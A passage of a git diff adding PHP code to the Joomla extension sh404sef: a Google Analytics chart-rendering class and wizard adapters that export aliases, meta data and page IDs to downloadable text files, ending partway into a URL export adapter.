array(); + $types = array(); + foreach( $tmpArray as $entry) { + $value = $entry->$dataTypeString; + // do not add empty values, as pChart would choke on that and display a warning + if( !empty($value)) { + $data[] = $value; + $types[] = Sh404sefHelperAnalytics::getReferralLabel( $entry->dimension['medium']); + } + } + + $dataSet->AddPoint( $data,"visits"); + $dataSet->AddPoint( $types,"types"); + $dataSet->addSerie('visits'); + $dataSet->SetAbsciseLabelSerie("types"); + $label = JText::_( 'COM_SH404SEF_ANALYTICS_REPORT_SOURCES') . JText::_('COM_SH404SEF_ANALYTICS_REPORT_BY_LABEL') . Sh404sefHelperAnalytics::getDataTypeTitle(); + $dataSet->SetSerieName( $label,"visits"); + + // Initialise the graph + $w = intval( 0.45 * $this->_options['cpWidth']); + $w = empty( $w) ? 160 : $w; + $radius = intval( $w * 0.22); + $margin = 5; + $h = intval($w * 0.8); + $centreX = intval(0.50 * $w); + $centreY = intval(0.50 * $h); + $chart = new pChart( $w, $h); + $fontSize = 8; + + // prepare graph + $chart->setFontProperties( $this->_baseChartPath . '/' .'Fonts/arial.ttf', $fontSize); + $chart->loadColorPalette( $this->_baseChartPath . '/' . 'palettes' . '/' . 'tones-2-green-soft.php'); + $chart->setGraphArea( $margin, $margin, $w-$margin, $h-$margin); + + // This will draw a shadow under the pie chart + $chart->drawFilledCircle( $centreX + 4, $centreY + 4, $radius,200,200,200); + + // Draw the pie chart + $d = $dataSet->GetData(); + if (!empty( $d)) { + $chart->drawBasicPieGraph( $d, $dataSet->GetDataDescription(), $centreX, $centreY, $radius, PIE_PERCENTAGE_LABEL_VALUE, 255, 255, 218); + } + + // create a temporary file for + $user = JFactory::getUser(); + + // make sure the root tmp dir exists + Sh404sefHelperFiles::createDirAndIndex( JPATH_ROOT . '/' . $this->_tmpImagesPath); + + // file name is variable to avoid browser cache + $basePath = $this->_tmpImagesPath . '/' . md5( 'useless_' . $user->id . '_hashing') . '/'; + + // create path and make sure there's an index.html file in it + Sh404sefHelperFiles::createDirAndIndex( JPATH_ROOT . '/' . $basePath); + + $imageFileName = Sh404sefHelperAnalytics::createTempFile( $basePath, $this->_options['report'] . '.' . $this->_options['accountId']. '.sources.' . $dataTypeString); + $chart->Render( JPATH_ROOT. '/' . $imageFileName); + + // need cleaning up, so let's remove all report files for that user older than an hour or so + Sh404sefHelperAnalytics::cleanReportsImageFiles( JPATH_ROOT . '/' . $basePath, $age = 4000); + + return JURI::root() . $imageFileName; + + } + + /** + * Builds an URI suitable to query Google Analytics API + * @param array $query a set of query constraints (ie: dimensions, metrics, etc) + */ + protected function _buildQueryUri( $query) { + + // default values + $defaultQuery = array( + 'ids' => 'ga:' . $this->_options['accountId'] + , 'dimensions' => array() + , 'metrics' => array() + , 'sort' => null + , 'filters' => null + , 'segment' => null + , 'start-date' => $this->_options['startDate'] + , 'end-date' => $this->_options['endDate'] + , 'start-index' => null + , 'max-results' => $this->_options['max-results'] + ); + + // combine with request + $query = array_merge( $defaultQuery, $query); + + // combine them into a uri + $uri = ''; + foreach( $query as $key => $value) { + if (!is_null( $value)) { + $uri .= '&' . $key . '=' . $value; + } + } + + // prepare dimensions + $uri = $this->_endPoint . 'data?' . ltrim( $uri, '&'); + + return $uri; + } + + protected function _query( $type) { + + //perform request + $response = $this->_client->request(); + + // check if authentified + Sh404sefHelperAnalytics::verifyAuthResponse( $response); + + // analyze response + $parser = new DOMDocument(); + $parser->loadXML( $response->getBody()); + $this->_rawData[$type] = $parser->getElementsByTagName('entry'); + $this->_decodeXml( $type); + } + + protected function _decodeXml($type) { + + $data = array(); + + foreach( $this->_rawData[$type] as $entry) { + $r = new StdClass(); + + $dimensions = $entry->getElementsByTagName('dimension'); + foreach($dimensions as $dimension) { + $name = $dimension->getAttribute('name'); + $name = str_replace( 'ga:', '', $name); + $r->dimension[$name] = $dimension->getAttribute('value'); + } + $metrics = $entry->getElementsByTagName('metric'); + foreach( $metrics as $metric) { + $name = $metric->getAttribute('name'); + $name = str_replace( 'ga:', '', $name); + $r->$name = $metric->getAttribute('value'); + } + $data[] = clone($r); + + } + + $this->_rawData[$type] = $data; + + } + + private function _loadLibs() { + + // include pChart pChart + require_once( $this->_baseChartPath . '/' . 'pChart' . '/' . 'pData.class.php'); + require_once( $this->_baseChartPath . '/' . 'pChart' . '/' . 'pChart.class.php'); + } + + /** + * NUmerical sort function + * + * @param $first + * @param $second + * @return unknown_type + */ + protected function _sortSourcesDataCompareFunction( $first, $second) { + + // need config, to know which data user wants to display : visits, unique visitors, pageviews + $sefConfig = Sh404sefFactory::getConfig(); + // Google does not allow combining dimension=ga:medium with metric = unique visitors + $metric = $sefConfig->analyticsDashboardDataType == 'ga:visitors' ? + 'ga:visits' : $sefConfig->analyticsDashboardDataType; + + $dataTypeString = str_replace( 'ga:', '', $metric); + + if ($first->$dataTypeString == $second->$dataTypeString) { + return 0; + } + + return $first->$dataTypeString > $second->$dataTypeString ? +1 : -1; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportaliases.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportaliases.php new file mode 100644 index 00000000..aed3ce69 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportaliases.php @@ -0,0 +1,311 @@ + array( 'task' => 'doTerminate', 'view' => 'wizard', 'layout' => 'default') + ,-1 => array( 'task' => 'doCancel', 'view' => 'wizard', 'layout' => 'default') + , 0 => array( 'task' => 'doStart', 'view' => 'wizard', 'layout' => 'default') + , 1 => array( 'task' => 'doExport', 'view' => 'wizard', 'layout' => 'default') + , 2 => array( 'task' => 'doDownload', 'view' => 'wizard', 'layout' => 'default') + + ); + + public $_stepsCount = 0; + public $_steps = array( 'next' => 0, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + public $_button = ''; + public $_buttonsList = array ('next', 'previous', 'terminate', 'cancel'); + // visible buttons are displayed as toolbar pressbutton + // buttons not on that list are passed as 'hidden' post data + public $_visibleButtonsList = array ( 'previous', 'next', 'terminate', 'cancel'); + + protected $_context = 'aliases'; + protected $_total = 0; + protected $_parentController = null; + protected $_filename = ''; + + const MAX_PAGEIDS_PER_STEP = 100; + + /** + * Constructor, keep reference to controller + * which called the adapter + * @param unknown_type $parentController + */ + public function __construct( $parentController) { + + $this->_parentController = $parentController; + + } + + /** + * Parameters for current adapter, to be used by parent controller + * + */ + public function setup() { + + $this->_stepsCount = count( $this->_stepsMap); + + // prepare data for controller + $properties = array(); + + $properties['_defaultController'] = 'wizard'; + $properties['_defaultTask'] = ''; + $properties['_defaultModel'] = ''; + $properties['_defaultView'] = 'wizard'; + $properties['_defaultLayout'] = 'default'; + + $properties['_returnController'] = 'aliases'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'aliases'; + $properties['_returnLayout'] = 'default'; + $properties['_pageTitle'] = JText::_('COM_SH404SEF_EXPORTING_TITLE'); + + return $properties; + + } + + /** + * First step, by default a message + * and a Terminate button + * + */ + public function doStart() { + + // which button should be displayed ? + $this->_visibleButtonsList = array ('next', 'cancel'); + + // next steps definition + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + $result['mainText'] = JText::_('COM_SH404SEF_EXPORT_ALIASES_START'); + + return $result; + + } + + /** + * Second step, export data + * + */ + public function doExport() { + + // which button should be displayed ? + $this->_visibleButtonsList = array (); + + // A customiser : + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + // exporting a limited set of pageids at a time + $nextStart = JRequest::getInt( 'nextstart', 0); + + // are we adding to an existing data file ? + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // calculate number of items to export + $model = ShlMvcModel_Base::getInstance( 'aliases', 'Sh404sefModel'); + $model->setContext( 'aliases.default'); + $options = (object) array('layout' => 'default', 'includeHomeData' => true); + $this->_total = $model->getTotal( $options); + + // do we have anything to export ? + if (empty( $this->_total)) { + $result['mainText'] = JText::_('COM_SH404SEF_NOTHING_TO_EXPORT'); + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => -2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + return $result; + } + + // get new start item + if (empty( $nextStart)) { + // this is first pass, starting from 0 + $start = 0; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + if ($nextStart >= $this->_total) { + // reached the end + $nextStart = $this->_total; + } + } else { + $start = $nextStart; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + } + + // are we done ? if so, move to next step + $result['hiddenText'] = ''; + + if ($start >= $this->_total) { + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_DONE', $this->_total); + $result['mainText'] .= $this->_getTerminateOptions(); + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => 2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + } else { + + // actually export items + $this->_export( $start); + + // continuing for another round + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_EXPORTING', $start + 1, $this->_total); + $result['hiddenText'] = ''; + $result['nextStart'] = $nextStart; + } + + $result['continue'] = array( 'task' => 'next', 'nextstart' => $nextStart, 'filename' => base64_encode($this->_filename)); + $result['continue'] = array_merge( $result['continue'], $this->_steps); + $result['hiddenText'] .= ''; + + return $result; + + } + + /** + * Last step, send results as download + * + */ + public function doDownload() { + + + // fake content + $data = ''; + + // get the current filename with path + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // get a more readable filename + $displayName = date('Y-m-d') . '_' . $this->_context . '_export.txt'; + + Sh404sefHelperFiles::triggerDownload( $this->_filename, $displayName); + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doTerminate() { + + // are we set to purge temporary files ? + $purgeTempFiles = JRequest::getInt( 'purge_temp_files', 0); + if (!empty($purgeTempFiles)) { + Sh404sefHelperFiles::purgeTempFiles( 'sh404sef_export_' . $this->_context); + } + + // now go back to main page + $result = array( 'redirectTo' => true); + + return $result; + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doCancel() { + + $result = array(); + $result['redirectTo'] = true; + $result['redirectOptions'] = array( 'sh404sefMsg' => 'COM_SH404SEF_WIZARD_CANCELLED'); + + return $result; + + } + + protected function _export( $start) { + + // do we have a valid filename + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // put some data in the file + $end = $start + self::MAX_PAGEIDS_PER_STEP + 1; + $end = $end > $this->_total ? $this->_total : $end; + + // fetch pageIds record from model + $model = ShlMvcModel_Base::getInstance( 'aliases', 'Sh404sefModel'); + $model->setContext( 'aliases.default'); + $options = (object) array('layout' => 'default', 'includeHomeData' => true); + $records = $model->getList( $options, $returnZeroElement = false, $start, $forcedLimit = self::MAX_PAGEIDS_PER_STEP); + + // do we need a header written to the file, for first record + $header = $start == 0 ? Sh404sefHelperGeneral::getExportHeaders( $this->_context) . "\n" : ''; + + // format them for text file output + $data = ''; + $counter = $start; + $glue = Sh404sefHelperFiles::$stringDelimiter . Sh404sefHelperFiles::$fieldDelimiter . Sh404sefHelperFiles::$stringDelimiter; + if (!empty( $records)) { + foreach( $records as $record) { + $counter++; + if ($record->newurl == sh404SEF_HOMEPAGE_CODE) { + $record->newurl = '__ Homepage __'; + } + $textRecord = $record->alias . $glue . $record->oldurl . $glue . $record->newurl + . $glue . $record->type + . $glue . $record->hits . Sh404sefHelperFiles::$stringDelimiter + ; + $line = Sh404sefHelperFiles::$stringDelimiter . $counter . $glue . $textRecord; + $data .= $line . "\n"; + } + } + + // prepare data for storage + if (!empty( $header)) { + // first record written to file, prepend header + $data = $header . $data; + } + + // store in file + $status = Sh404sefHelperFiles::appendToFile( $this->_filename, $data); + + // return any error + return $status; + + } + + protected function _getTerminateOptions() { + + $options = '

'; + $options .= ''; + $options .= JText::_('COM_SH404SEF_PURGE_TEMP_FILES'); + $options .= '
'; + + return $options; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportmetas.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportmetas.php new file mode 100644 index 00000000..9354c2dc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportmetas.php @@ -0,0 +1,364 @@ + array( 'task' => 'doTerminate', 'view' => 'wizard', 'layout' => 'default') + ,-1 => array( 'task' => 'doCancel', 'view' => 'wizard', 'layout' => 'default') + , 0 => array( 'task' => 'doStart', 'view' => 'wizard', 'layout' => 'default') + , 1 => array( 'task' => 'doExport', 'view' => 'wizard', 'layout' => 'default') + , 2 => array( 'task' => 'doDownload', 'view' => 'wizard', 'layout' => 'default') + + ); + + public $_stepsCount = 0; + public $_steps = array( 'next' => 0, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + public $_button = ''; + public $_buttonsList = array ('next', 'previous', 'terminate', 'cancel'); + // visible buttons are displayed as toolbar pressbutton + // buttons not on that list are passed as 'hidden' post data + public $_visibleButtonsList = array ( 'previous', 'next', 'terminate', 'cancel'); + + + protected $_context = 'metas'; + protected $_total = 0; + protected $_parentController = null; + protected $_filename = ''; + + const MAX_PAGEIDS_PER_STEP = 100; + + /** + * Constructor, keep reference to controller + * which called the adapter + * @param unknown_type $parentController + */ + public function __construct( $parentController) { + + $this->_parentController = $parentController; + + } + + /** + * Parameters for current adapter, to be used by parent controller + * + */ + public function setup() { + + $this->_stepsCount = count( $this->_stepsMap); + + // prepare data for controller + $properties = array(); + + $properties['_defaultController'] = 'wizard'; + $properties['_defaultTask'] = ''; + $properties['_defaultModel'] = ''; + $properties['_defaultView'] = 'wizard'; + $properties['_defaultLayout'] = 'default'; + + $properties['_returnController'] = 'metas'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'metas'; + $properties['_returnLayout'] = 'default'; + $properties['_pageTitle'] = JText::_('COM_SH404SEF_EXPORTING_TITLE'); + + return $properties; + + } + + /** + * First step, by default a message + * and a Terminate button + * + */ + public function doStart() { + + // which button should be displayed ? + $this->_visibleButtonsList = array ('next', 'cancel'); + + // A customiser : + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + $result['mainText'] = JText::_('COM_SH404SEF_EXPORT_METAS_START'); + + return $result; + + } + + /** + * Second step, export data + * + */ + public function doExport() { + + // which button should be displayed ? + $this->_visibleButtonsList = array (); + + // next steps definition + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + // exporting a limited set of pageids at a time + $nextStart = JRequest::getInt( 'nextstart', 0); + + // are we adding to an existing data file ? + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // calculate number of items to export + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + $model->setContext( 'metas.default'); + $options = (object) array('layout' => 'export', 'getMetaData' => true, 'onlyWithMetaData' => true, 'simpleUrlList' => true); + $this->_total = $model->getTotal( $options); + + // do we have anything to export ? + if (empty( $this->_total)) { + $result['mainText'] = JText::_('COM_SH404SEF_NOTHING_TO_EXPORT'); + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => -2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + return $result; + } + + // get new start item + if (empty( $nextStart)) { + // this is first pass, starting from 0 + $start = 0; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + if ($nextStart >= $this->_total) { + // reached the end + $nextStart = $this->_total; + } + } else { + $start = $nextStart; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + } + + // are we done ? if so, move to next step + $result['hiddenText'] = ''; + + if ($start >= $this->_total) { + // append homepage data. Hard to put them at the beginning, that'd make the whole counting logic more complex + $this->_exportHomePageData( $this->_total); + + // keep going to terminate page + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_DONE', $this->_total); + $result['mainText'] .= $this->_getTerminateOptions(); + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => 2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + } else { + + // actually export items + $this->_export( $start); + + // continuing for another round + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_EXPORTING', $start + 1, $this->_total); + $result['hiddenText'] = ''; + $result['nextStart'] = $nextStart; + } + + $result['continue'] = array( 'task' => 'next', 'nextstart' => $nextStart, 'filename' => base64_encode($this->_filename)); + $result['continue'] = array_merge( $result['continue'], $this->_steps); + $result['hiddenText'] .= ''; + + return $result; + + } + + /** + * Last step, send results as download + * + */ + public function doDownload() { + + + // fake content + $data = ''; + + // get the current filename with path + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // get a more readable filename + $displayName = date('Y-m-d') . '_' . $this->_context . '_export.txt'; + + Sh404sefHelperFiles::triggerDownload( $this->_filename, $displayName); + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doTerminate() { + + // are we set to purge temporary files ? + $purgeTempFiles = JRequest::getInt( 'purge_temp_files', 0); + if (!empty($purgeTempFiles)) { + Sh404sefHelperFiles::purgeTempFiles( 'sh404sef_export_' . $this->_context); + } + + // now go back to main page + $result = array( 'redirectTo' => true); + + return $result; + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doCancel() { + + $result = array(); + $result['redirectTo'] = true; + $result['redirectOptions'] = array( 'sh404sefMsg' => 'COM_SH404SEF_WIZARD_CANCELLED'); + + return $result; + + } + + protected function _export( $start) { + + // do we have a valid filename + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // put some data in the file + $end = $start + self::MAX_PAGEIDS_PER_STEP + 1; + $end = $end > $this->_total ? $this->_total : $end; + + // fetch pageIds record from model + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + $model->setContext( 'metas.default'); + $options = (object) array('layout' => 'export', 'getMetaData' => true, 'onlyWithMetaData' => true, 'simpleUrlList' => true); + $records = $model->getList( $options, $returnZeroElement = false, $start, $forcedLimit = self::MAX_PAGEIDS_PER_STEP); + + // do we need a header written to the file, for first record + $header = $start == 0 ? Sh404sefHelperGeneral::getExportHeaders( $this->_context) . "\n" : ''; + + // format them for text file output + $data = ''; + $counter = $start; + $glue = Sh404sefHelperFiles::$stringDelimiter . Sh404sefHelperFiles::$fieldDelimiter . Sh404sefHelperFiles::$stringDelimiter; + if (!empty( $records)) { + foreach( $records as $record) { + $counter++; + $data .= $this->_createLine( $record, $counter, $glue); + } + } + + // prepare data for storage + if (!empty( $header)) { + // first record written to file, prepend header + $data = $header . $data; + } + + // store in file + $status = Sh404sefHelperFiles::appendToFile( $this->_filename, $data); + + // return any error + return $status; + + } + + protected function _exportHomePageData( $start) { + + // get data from model + $model = ShlMvcModel_Base::getInstance( 'metas', 'Sh404sefModel'); + $model->setContext( 'metas.default'); + $options = (object) array('layout' => 'default', 'newurl' => sh404SEF_HOMEPAGE_CODE); + $this->_total += 1; + $homePageMetaData = $model->getList( $options); + + // format them for text file output + $data = ''; + $counter = $start; + $glue = Sh404sefHelperFiles::$stringDelimiter . Sh404sefHelperFiles::$fieldDelimiter . Sh404sefHelperFiles::$stringDelimiter; + if (!empty( $homePageMetaData)) { + foreach( $homePageMetaData as $record) { + $counter++; + $record->oldurl = ''; + $record->newurl = '__ Homepage __'; + $data .= $this->_createLine( $record, $counter, $glue); + } + } + + // prepare data for storage + if (!empty( $header)) { + // first record written to file, prepend header + $data = $header . $data; + } + + // store in file + $status = Sh404sefHelperFiles::appendToFile( $this->_filename, $data); + + } + + /** + * Creates an export file line, based on db record + * + * @param $record the data coming from DB + * @param $counter, running counter + * @param $glue , glue string between elements of records + */ + protected function _createLine( $record, $counter, $glue) { + + $textRecord = $record->oldurl . $glue . $record->newurl + . $glue . (empty( $record->cpt) ? 0 : $record->cpt) + . $glue . (empty( $record->rank) ? 0 : $record->rank) + . $glue . (!isset( $record->dateadd) ? '0000-00-00' : $record->dateadd) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metatitle) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metadesc) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metakey) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metalang) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metarobots) . Sh404sefHelperFiles::$stringDelimiter; + $line = Sh404sefHelperFiles::$stringDelimiter . $counter . $glue . $textRecord . "\n"; + + return $line; + } + + protected function _getTerminateOptions() { + + $options = '

'; + $options .= ''; + $options .= JText::_('COM_SH404SEF_PURGE_TEMP_FILES'); + $options .= '
'; + + return $options; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportpageids.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportpageids.php new file mode 100644 index 00000000..5cae43cd --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportpageids.php @@ -0,0 +1,308 @@ + array( 'task' => 'doTerminate', 'view' => 'wizard', 'layout' => 'default') + ,-1 => array( 'task' => 'doCancel', 'view' => 'wizard', 'layout' => 'default') + , 0 => array( 'task' => 'doStart', 'view' => 'wizard', 'layout' => 'default') + , 1 => array( 'task' => 'doExport', 'view' => 'wizard', 'layout' => 'default') + , 2 => array( 'task' => 'doDownload', 'view' => 'wizard', 'layout' => 'default') + + ); + + public $_stepsCount = 0; + public $_steps = array( 'next' => 0, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + public $_button = ''; + public $_buttonsList = array ('next', 'previous', 'terminate', 'cancel'); + // visible buttons are displayed as toolbar pressbutton + // buttons not on that list are passed as 'hidden' post data + public $_visibleButtonsList = array ( 'previous', 'next', 'terminate', 'cancel'); + + protected $_context = 'pageids'; + protected $_total = 0; + protected $_parentController = null; + protected $_filename = ''; + + const MAX_PAGEIDS_PER_STEP = 100; + + /** + * Constructor, keep reference to controller + * which called the adapter + * @param unknown_type $parentController + */ + public function __construct( $parentController) { + + $this->_parentController = $parentController; + + } + + /** + * Parameters for current adapter, to be used by parent controller + * + */ + public function setup() { + + $this->_stepsCount = count( $this->_stepsMap); + + // prepare data for controller + $properties = array(); + + $properties['_defaultController'] = 'wizard'; + $properties['_defaultTask'] = ''; + $properties['_defaultModel'] = ''; + $properties['_defaultView'] = 'wizard'; + $properties['_defaultLayout'] = 'default'; + + $properties['_returnController'] = 'pageids'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'pageids'; + $properties['_returnLayout'] = 'default'; + $properties['_pageTitle'] = JText::_('COM_SH404SEF_EXPORTING_TITLE'); + + return $properties; + + } + + /** + * First step, by default a message + * and a Terminate button + * + */ + public function doStart() { + + // which button should be displayed ? + $this->_visibleButtonsList = array ('next', 'cancel'); + + // next steps definition + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + $result['mainText'] = JText::_('COM_SH404SEF_EXPORT_PAGEIDS_START'); + + return $result; + + } + + /** + * Second step, export data + * + */ + public function doExport() { + + // which button should be displayed ? + $this->_visibleButtonsList = array (); + + // next steps definition + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + // exporting a limited set of pageids at a time + $nextStart = JRequest::getInt( 'nextstart', 0); + + // are we adding to an existing data file ? + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // calculate number of items to export + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + $model->setContext( 'pageids.default'); + $options = (object) array('layout' => 'default', 'getPageId' => true, 'simpleUrlList' => true,); + $this->_total = $model->getTotal( $options); + + // do we have anything to export ? + if (empty( $this->_total)) { + $result['mainText'] = JText::_('COM_SH404SEF_NOTHING_TO_EXPORT'); + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => -2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + return $result; + } + + // get new start item + if (empty( $nextStart)) { + // this is first pass, starting from 0 + $start = 0; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + if ($nextStart >= $this->_total) { + // reached the end + $nextStart = $this->_total; + } + } else { + $start = $nextStart; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + } + + // are we done ? if so, move to next step + $result['hiddenText'] = ''; + + if ($start >= $this->_total) { + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_DONE', $this->_total); + $result['mainText'] .= $this->_getTerminateOptions(); + + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => 2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + } else { + + // actually export items + $this->_export( $start); + + // continuing for another round + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_EXPORTING', $start + 1, $this->_total); + $result['hiddenText'] = ''; + $result['nextStart'] = $nextStart; + } + + $result['continue'] = array( 'task' => 'next', 'nextstart' => $nextStart, 'filename' => base64_encode($this->_filename)); + $result['continue'] = array_merge( $result['continue'], $this->_steps); + $result['hiddenText'] .= ''; + + return $result; + + } + + /** + * Last step, send results as download + * + */ + public function doDownload() { + + + // fake content + $data = ''; + + // get the current filename with path + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // get a more readable filename + $displayName = date('Y-m-d') . '_' . $this->_context . '_export.txt'; + + Sh404sefHelperFiles::triggerDownload( $this->_filename, $displayName); + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doTerminate() { + + // are we set to purge temporary files ? + $purgeTempFiles = JRequest::getInt( 'purge_temp_files', 0); + if (!empty($purgeTempFiles)) { + Sh404sefHelperFiles::purgeTempFiles( 'sh404sef_export_' . $this->_context); + } + + // now go back to main page + $result = array( 'redirectTo' => true); + + return $result; + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doCancel() { + + $result = array(); + $result['redirectTo'] = true; + $result['redirectOptions'] = array( 'sh404sefMsg' => 'COM_SH404SEF_WIZARD_CANCELLED'); + + return $result; + + } + + protected function _export( $start) { + + // do we have a valid filename + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // put some data in the file + $end = $start + self::MAX_PAGEIDS_PER_STEP + 1; + $end = $end > $this->_total ? $this->_total : $end; + + // fetch pageIds record from model + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + $model->setContext( 'pageids.default'); + $options = (object) array('layout' => 'default', 'getPageId' => true, 'simpleUrlList' => true); + $records = $model->getList( $options, $returnZeroElement = false, $start, $forcedLimit = self::MAX_PAGEIDS_PER_STEP); + + // do we need a header written to the file, for first record + $header = $start == 0 ? Sh404sefHelperGeneral::getExportHeaders( $this->_context) . "\n" : ''; + + // format them for text file output + $data = ''; + $counter = $start; + $glue = Sh404sefHelperFiles::$stringDelimiter . Sh404sefHelperFiles::$fieldDelimiter . Sh404sefHelperFiles::$stringDelimiter; + if (!empty( $records)) { + foreach( $records as $record) { + $counter++; + $textRecord = $record->pageid . $glue . $record->oldurl . $glue . $record->nonsefurl + . $glue . $record->pageidtype + . $glue . $record->pageidhits . Sh404sefHelperFiles::$stringDelimiter + ; + $line = Sh404sefHelperFiles::$stringDelimiter . $counter . $glue . $textRecord; + $data .= $line . "\n"; + } + } + + // prepare data for storage + if (!empty( $header)) { + // first record written to file, prepend header + $data = $header . $data; + } + + // store in file + $status = Sh404sefHelperFiles::appendToFile( $this->_filename, $data); + + // return any error + return $status; + + } + + protected function _getTerminateOptions() { + + $options = '

'; + $options .= ''; + $options .= JText::_('COM_SH404SEF_PURGE_TEMP_FILES'); + $options .= '
'; + + return $options; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exporturls.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exporturls.php new file mode 100644 index 00000000..b12904ec --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exporturls.php @@ -0,0 +1,317 @@ + array( 'task' => 'doTerminate', 'view' => 'wizard', 'layout' => 'default') + ,-1 => array( 'task' => 'doCancel', 'view' => 'wizard', 'layout' => 'default') + , 0 => array( 'task' => 'doStart', 'view' => 'wizard', 'layout' => 'default') + , 1 => array( 'task' => 'doExport', 'view' => 'wizard', 'layout' => 'default') + , 2 => array( 'task' => 'doDownload', 'view' => 'wizard', 'layout' => 'default') + + ); + + public $_stepsCount = 0; + public $_steps = array( 'next' => 0, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + public $_button = ''; + public $_buttonsList = array ('next', 'previous', 'terminate', 'cancel'); + // visible buttons are displayed as toolbar pressbutton + // buttons not on that list are passed as 'hidden' post data + public $_visibleButtonsList = array ( 'previous', 'next', 'terminate', 'cancel'); + + + protected $_context = 'urls'; + protected $_total = 0; + protected $_parentController = null; + protected $_filename = ''; + + const MAX_PAGEIDS_PER_STEP = 100; + + /** + * Constructor, keep reference to controller + * which called the adapter + * @param unknown_type $parentController + */ + public function __construct( $parentController) { + + $this->_parentController = $parentController; + + } + + /** + * Parameters for current adapter, to be used by parent controller + * + */ + public function setup() { + + $this->_stepsCount = count( $this->_stepsMap); + + // prepare data for controller + $properties = array(); + + 